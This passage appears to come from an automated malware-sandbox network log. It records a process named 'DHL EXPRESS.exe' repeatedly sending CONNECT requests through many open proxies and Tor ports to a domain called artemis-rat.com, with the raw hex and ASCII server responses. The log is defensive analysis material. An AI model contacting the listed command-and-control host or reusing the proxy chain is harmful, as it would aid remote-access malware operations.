Mar 11, 2024 18:36:50.478461027 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.8	53256	185.49.30.5	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.173377037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.8	52772	194.4.50.132	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.177464008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.8	53194	62.72.57.240	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.177809954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.575635910 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:50 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.8	53248	37.26.223.96	9080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.178299904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.550919056 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:50 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.8	53299	5.135.83.214	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.184169054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.493360996 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.8	53255	45.11.95.165	5214	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.187124968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.8	53572	43.157.17.146	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.197352886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.8	53575	43.157.17.146	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.199768066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.8	53296	219.243.212.118	8443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.200403929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.526880026 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.8	53577	43.157.17.146	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.201927900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.8	53212	74.118.80.244	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.202570915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.8	53355	149.210.235.107	8118	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.202816010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.945832014 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.8	53326	47.56.110.204	8989	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.204090118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.8	51389	51.158.79.76	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.204984903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.650634050 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.8	53257	123.126.158.50	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.205704927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.8	53287	103.153.135.100	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.216432095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.699851990 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.8	53606	43.153.55.205	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.223126888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.8	53352	47.76.163.115	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.224229097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.546263933 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.8	53609	43.153.55.205	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.225353956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.8	53612	43.153.55.205	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.226831913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.8	53616	43.153.55.205	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.228249073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.8	53381	5.61.33.234	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.228728056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.562155008 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.8	53425	116.203.28.43	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.240010977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.557665110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
